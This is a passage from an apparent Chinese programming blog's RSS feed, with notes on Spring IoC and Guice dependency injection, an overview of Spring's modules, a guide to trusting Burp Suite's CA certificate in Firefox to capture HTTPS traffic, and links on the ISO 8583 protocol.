&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;然后我们要用的时候&lt;/div&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;container.readConfigurationFiles(...); 
FXNewsProvider newsProvider = (FXNewsProvider)container.getBean(&#34;newsProvider&#34;); 
newsProvider.getAndPersistNews();&lt;/pre&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;容器读取配置文件，然后取到其中的两个类，注入进来。&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;1.元数据方式&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;代表实现Java Guide，基于java注解，在类中直接使用元数据信息来标注 各个对象之间的依赖关系。然后框架根据信息组装之后交给客户端对象使用&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;这种方式重写我们的例子就是&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public class FXNewsProvider {  
private IFXNewsListener  newsListener;  
private IFXNewsPersister newPersistener;  
@Inject  
public FXNewsProvider(IFXNewsListener listener,IFXNewsPersister persister)  {   this.newsListener   = listener;   
this.newPersistener = persister;   
}  
... 
}&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;通过 @Inject，我们指明需要IoC Service Provider通过构造方法注入方&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;余下的部分由Guide提供的Module完成，我们继承一下。&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public class NewsBindingModule extends AbstractModule  {  
@Override  
protected void configure() {  
bind(IFXNewsListener.class) .to(DowJonesNewsListener.class).in(Scopes.SINGLETON);   
bind(IFXNewsPersister.class).to(DowJonesNewsPersister.class).in(Scopes.SINGLETON);  
} 
}&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;最后，要用的时候，直接来拿吧。&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;
&lt;div&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;Injector injector = Guice.createInjector(new NewsBindingModule()); 
FXNewsProvider newsProvider = injector.getInstance(FXNewsProvider.class); 
newsProvider.getAndPersistNews();&lt;/pre&gt;
&amp;nbsp;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;</description>
    </item>
    <item>
      <title>《Spring揭秘》读书笔记-第二章IoC的基本概念</title>
      <link>http://blog.leaver.me/2014/07/01/spring%E6%8F%AD%E7%A7%98%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0-%E7%AC%AC%E4%BA%8C%E7%AB%A0ioc%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5/</link>
      <pubDate>Tue, 01 Jul 2014 18:54:17 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/07/01/spring%E6%8F%AD%E7%A7%98%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0-%E7%AC%AC%E4%BA%8C%E7%AB%A0ioc%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5/</guid>
      <description>&lt;p&gt;&lt;span style=&#34;font-family: 宋体; font-size: 10pt;&#34;&gt;理念就是让别人为你服务，中文名控制反转，也叫依赖注入DI&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public class FXNewsProvider

{

  private IFXNewsListener newsListener;

  private IFXNewsPersister newPersistener;

  public void getAndPersistNews()

{

String[] newsIds = newsListener.getAvailableNewsIds();

if(ArrayUtils.isEmpty(newsIds))

{
   return;
} 

for(String newsId : newsIds)

{ FXNewsBean newsBean = newsListener.getNewsByPK(newsId); 

newPersistener.persistNews(newsBean);

newsListener.postProcessIfNecessary(newsId);

}

}

}&lt;/pre&gt;
&lt;p&gt; &lt;span style=&#34;font-family: 宋体; font-size: 10pt;&#34;&gt;假设这个类用来处理新闻，&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-family: Courier; font-size: 8pt;&#34;&gt;IFXNewsListener &lt;/span&gt;&lt;span style=&#34;font-family: 宋体; font-size: 8pt;&#34;&gt;用来获取新闻，&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-family: Courier; font-size: 8pt;&#34;&gt;IFXNewsPersister  &lt;/span&gt; &lt;span style=&#34;font-family: 宋体; font-size: 8pt;&#34;&gt;用来把获取的新闻持久化&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-family: 宋体; font-size: 10pt;&#34;&gt;当我们需要获取不同的新闻源，比如道琼斯的新闻时，我们会写一个&lt;/span&gt; &lt;span style=&#34;font-family: Courier; font-size: 8pt;&#34;&gt;DowJonesNewsListener&lt;/span&gt; &lt;span style=&#34;font-family: 宋体; font-size: 8pt;&#34;&gt;类和&lt;/span&gt; &lt;span style=&#34;font-family: Courier; font-size: 8pt;&#34;&gt;DowJonesNewsPersister&lt;/span&gt; &lt;span style=&#34;font-family: 宋体; font-size: 8pt;&#34;&gt;类，然后实例化&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public FXNewsProvider()

{

  newsListener = new DowJonesNewsListener();

  newPersistener = new DowJonesNewsPersister();

}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-family: SimSun; font-size: 9pt;&#34;&gt;如果我们依赖于某个类或服务，最简单而有效的方式就是直接&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-family: SimSun; font-size: 9pt;&#34;&gt;在类的构造函数中新建相应的依赖类。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-family: 宋体; font-size: 10pt;&#34;&gt;注意看，&lt;/span&gt; &lt;span style=&#34;font-family: SimSun; font-size: 9pt;&#34;&gt;，我们都是自己主动地去获&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-family: SimSun; font-size: 9pt;&#34;&gt;取依赖的对象！&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-family: SimSun; font-size: 9pt;&#34;&gt;可是回头想想，我们自己每次用到什么依赖对象都要主动地去获取，这是否真的必要？我们最终&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-family: SimSun; font-size: 9pt;&#34;&gt;所要做的，其实就是直接调用依赖对象所提供的某项服务而已&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-family: SimSun; font-size: 9pt;&#34;&gt;能不能我们用的时候自动送过来呢？&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-family: SimSun; font-size: 9pt;&#34;&gt;。现在是用什么，让别人直接送过来就成。所以，简单点儿说，&lt;/span&gt; &lt;span style=&#34;font-family: &#39;Times New Roman&#39;; font-size: 9pt;&#34;&gt;IoC&lt;/span&gt; &lt;span style=&#34;font-family: SimSun; font-size: 9pt;&#34;&gt;的理念就是，&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-family: SimSun; font-size: 9pt;&#34;&gt;让别人为你服务！在图&lt;/span&gt; &lt;span style=&#34;font-family: &#39;Times New Roman&#39;; font-size: 9pt;&#34;&gt;2-1&lt;/span&gt; &lt;span style=&#34;font-family: SimSun; font-size: 9pt;&#34;&gt;中，也就是让&lt;/span&gt; &lt;span style=&#34;font-family: &#39;Times New Roman&#39;; font-size: 9pt;&#34;&gt;IoC Service Provider&lt;/span&gt; &lt;span style=&#34;font-family: SimSun; font-size: 9pt;&#34;&gt;来为你服务！&lt;/span&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>《Spring揭秘》读书笔记-第一章Spring框架的由来</title>
      <link>http://blog.leaver.me/2014/06/30/spring%E6%8F%AD%E7%A7%98%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0-%E7%AC%AC%E4%B8%80%E7%AB%A0spring%E6%A1%86%E6%9E%B6%E7%9A%84%E7%94%B1%E6%9D%A5/</link>
      <pubDate>Mon, 30 Jun 2014 20:40:40 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/06/30/spring%E6%8F%AD%E7%A7%98%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0-%E7%AC%AC%E4%B8%80%E7%AB%A0spring%E6%A1%86%E6%9E%B6%E7%9A%84%E7%94%B1%E6%9D%A5/</guid>
      <description>&lt;p&gt;1.框架的由来&lt;/p&gt;
&lt;p&gt;倡导J2EE轻量级应用解决方案&lt;/p&gt;
&lt;p&gt;框架总结结构&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/06/Spring-Framework.jpg&#34;&gt;&lt;img alt=&#34;Spring Framework&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/8775d9e40dbc29240061edd2b9b6f76990f39cad.jpg&#34;&gt;&lt;/a&gt;
整个Spring架构建立在Core核心模块上，是基础，该模块中，有一个IoC容器的实现，用来以依赖注入的方式管理对象之间的依赖关系。Core中还有一些气筒工具类，比如IO工具类&lt;/p&gt;
&lt;p&gt;从图中看到，AOP模块，提供了轻便二强大的AOP框架，一AOP的形式增强POJO的能力，弥补OOP/OOSD的不足，采用Proxy模式，与IoC容器相结合&lt;/p&gt;
&lt;p&gt;继续向上看，在Core和AOP之上，提供了完毕的数据访问和事务管理的抽象，其中，对JDBC API的最佳实践简化了API的使用，还未ORM产品提供了统一的支持，&lt;/p&gt;
&lt;p&gt;为了简化Java EE的服务，比如JNDI，JMS等等，Spring还提供了这些的集成服务，&lt;/p&gt;
&lt;p&gt;最后就是Web模块，提供了一套自己的Web MVC框架，上层模块依赖于下层模块，水平之间的模块彼此基本可以认为独立。&lt;/p&gt;
&lt;p&gt;Spring不仅仅是容器，更是开发任何Java应用的框架，&lt;/p&gt;
&lt;p&gt;Spring 框架之上衍生的产品包括不限于Spring Web Flow,Spring Web Services,Spring Security,Spring Integration，Spring Rich Client 等等等等&lt;/p&gt;</description>
    </item>
    <item>
      <title>burpsuite抓包https</title>
      <link>http://blog.leaver.me/2014/06/29/burpsuite%E6%8A%93%E5%8C%85https/</link>
      <pubDate>Sun, 29 Jun 2014 06:43:48 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/06/29/burpsuite%E6%8A%93%E5%8C%85https/</guid>
      <description>&lt;p&gt;最近工作需要，需要burpsuite抓下https的包&lt;/p&gt;
&lt;p&gt;burpsuite抓包https的时候，如果是https协议，火狐会不信任证书&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/06/untrust.jpg&#34;&gt;&lt;img alt=&#34;untrust&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/14c5d2aedaa02e325fe21c03758796234ed83576.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这个时候点击我已充分了解可能的风险，然后添加例外，弹出图中的对话框&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/06/step.jpg&#34;&gt;&lt;img alt=&#34;step&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/4adf7f8902f07ea98a728a2d71270906208bfea6.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;点击查看，进入证书管理企业免，选择图中的PortSwigger CA根证书，选择导出，保存一下这个证书&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/06/export.jpg&#34;&gt;&lt;img alt=&#34;export&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/6e81972ac7283935e22a260f92ab4a582780eb73.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后打开火狐的选项，进入高级-&amp;gt;证书-&amp;gt;查看证书-&amp;gt;证书机构-&amp;gt;导入，选择刚才的证书&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/06/import.jpg&#34;&gt;&lt;img alt=&#34;import&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/3e43de2ca0a2c88519035a3d39a60fb8757c4da9.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;，最后，记住选中信任此CA证书标识的网站，ok&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/06/finish.jpg&#34;&gt;&lt;img alt=&#34;finish&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/070d8695abea24e9e8bf11e162f12afccaa5385f.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;现在再抓包，可以看到https也抓到了。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/06/capture.jpg&#34;&gt;&lt;img alt=&#34;capture&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/cf1f9324b8934ba12cab8ea0a19a530897e206e3.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>8583报文相关</title>
      <link>http://blog.leaver.me/2014/06/27/8583%E6%8A%A5%E6%96%87%E7%9B%B8%E5%85%B3/</link>
      <pubDate>Fri, 27 Jun 2014 15:28:46 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/06/27/8583%E6%8A%A5%E6%96%87%E7%9B%B8%E5%85%B3/</guid>
      <description>&lt;p&gt;以下是我在学习的时候发现的好的资料，都是非常有帮助的。&lt;/p&gt;
&lt;p&gt;如果你想知道原理，看完下面这篇就会了&lt;/p&gt;
&lt;h2 id=&#34;heading&#34;&gt;&lt;a href=&#34;http://leaver.me/archives/3663.html&#34;&gt;[藏]轻松掌握ISO8583报文协议原理&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;看了原理之后还想知道怎么来的。手工联系一下&lt;/p&gt;
&lt;h2 id=&#34;谈谈8583报文的使用及测试&#34;&gt;&lt;a href=&#34;http://blog.sina.com.cn/s/blog_4c925dca010178pt.html&#34;&gt;谈谈8583报文的使用及测试&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;这篇文章不错&lt;/p&gt;
&lt;p&gt;看完了想写代码了，可以看看这篇文章，基本上不能直接拿来用，但是可以参考实现&lt;/p&gt;
&lt;h2 id=&#34;iso8583报文工具类组装和解析报文&#34;&gt;&lt;span class=&#34;link_title&#34;&gt;&lt;a href=&#34;http://blog.csdn.net/lushuaiyin/article/details/14390725&#34;&gt; ISO8583报文工具类（组装和解析报文） &lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;看完之后这里还有一些补充&lt;/p&gt;
&lt;h2 id=&#34;iso-8583协议的简要说明&#34;&gt;&lt;a href=&#34;http://blog.sina.com.cn/s/blog_6182547f01014p02.html&#34;&gt;ISO-8583协议的简要说明&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;最后，http://www.jpos.org/这个库基本可以用来做这个事情。&lt;/p&gt;
&lt;p&gt;Jimmy写了一个例子非常好，&lt;a href=&#34;http://jimmod.com/blog/2011/07/jimmys-blog-iso-8583-tutorial-build-and-parse-iso-message-using-jpos-library/&#34;&gt;iso-8583-tutorial-build-and-parse-iso-message-using-jpos-library&lt;/a&gt;，至于银联的那个规范搜一下。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>构建数据库连接的配置方法</title>
      <link>http://blog.leaver.me/2014/04/26/%E6%9E%84%E5%BB%BA%E6%95%B0%E6%8D%AE%E5%BA%93%E8%BF%9E%E6%8E%A5%E7%9A%84%E9%85%8D%E7%BD%AE%E6%96%B9%E6%B3%95/</link>
      <pubDate>Sat, 26 Apr 2014 16:56:41 +0000</pubDate>
